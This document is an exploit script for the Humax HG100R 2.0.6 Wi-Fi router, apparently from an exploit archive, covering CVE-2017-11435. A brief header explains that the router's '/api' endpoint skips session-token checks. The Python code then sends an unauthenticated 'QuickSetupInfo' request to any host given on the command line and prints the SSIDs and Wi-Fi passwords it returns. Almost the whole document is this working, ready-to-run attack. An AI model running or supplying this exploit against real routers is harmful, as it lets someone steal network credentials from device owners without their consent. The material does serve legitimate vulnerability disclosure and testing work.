Humax Wi-Fi Router HG100R 2.0.6 – Authentication Bypass
# coding: utf-8 # Exploit Title: Humax HG100R-* Authentication Bypass # Date: 14/09/2017 # Exploit Author: Kivson # Vendor Homepage: http://humaxdigital.com # Version: VER 2.0.6 # Tested on: OSX Linux # CVE : CVE-2017-11435 # The Humax Wi-Fi Router model HG100R-* 2.0.6 is prone to an authentication bypass vulnerability via specially # crafted requests to the management console. The bug is exploitable remotely when the router is configured to # expose the management console. # The router is not validating the session token while returning answers for some methods in url '/api'. # An attacker can use this vulnerability to retrieve sensitive information such # as private/public IP addresses, SSID names, and passwords. import sys import requests def print_help(): print('Exploit syntax error, Example:') print('python exploit.py http://192.168.0.1') def exploit(host): print(f'Connecting to {host}') path = '/api' payload = '{"method":"QuickSetupInfo","id":90,"jsonrpc":"2.0"}' response = requests.post(host + path, data=payload) response.raise_for_status() if 'result' not in response.json() or 'WiFi_Info' not in response.json()['result'] or 'wlan' not in \ response.json()['result']['WiFi_Info']: print('Error, target may be no exploitable') return for wlan in response.json()['result']['WiFi_Info']['wlan']: print(f'Wifi data found:') print(f' SSID: {wlan["ssid"]}') print(f' PWD: {wlan["password"]}') def main(): if len(sys.argv) < 2: print_help() return host = sys.argv[1] exploit(host) if __name__ == '__main__': main() |